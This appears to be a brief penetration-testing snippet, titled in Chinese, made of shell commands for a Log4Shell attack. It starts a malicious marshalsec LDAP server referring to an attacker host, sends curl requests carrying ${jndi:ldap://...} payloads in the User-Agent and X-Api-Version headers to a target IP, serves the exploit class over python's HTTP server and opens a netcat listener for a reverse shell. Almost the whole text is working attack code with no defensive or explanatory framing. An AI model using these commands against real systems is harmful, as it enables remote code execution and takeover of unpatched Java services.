渗透测试
LDAP_PORT="1389" HTTP_PORT="8000" ATTACKER_IP="192.168.0.101" REVERSE_PORT="5555"
echo "[+] 在端口 $LDAP_PORT 上启动恶意LDAP服务器..."
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer
"http://$ATTACKER_IP:$HTTP_PORT/#Exploit" $LDAP_PORT
#!/bin/bash
TARGET_IP="192.168.1.10" ATTACKER_IP="192.168.0.101" LDAP_PORT="1389"
echo "[+] 发送Log4Shell payload到 $TARGET_IP..."
curl -X GET
"http://$TARGET_IP"
-H "User-Agent: ${jndi:ldap://$ATTACKER_IP:$LDAP_PORT/Exploit}"
-H "X-Api-Version: ${jndi:ldap://$ATTACKER_IP:$LDAP_PORT/Exploit}"
./start_ldap_server.sh
python3 -m http.server 8000
./exploit_log4shell.sh
nc -lvnp 5555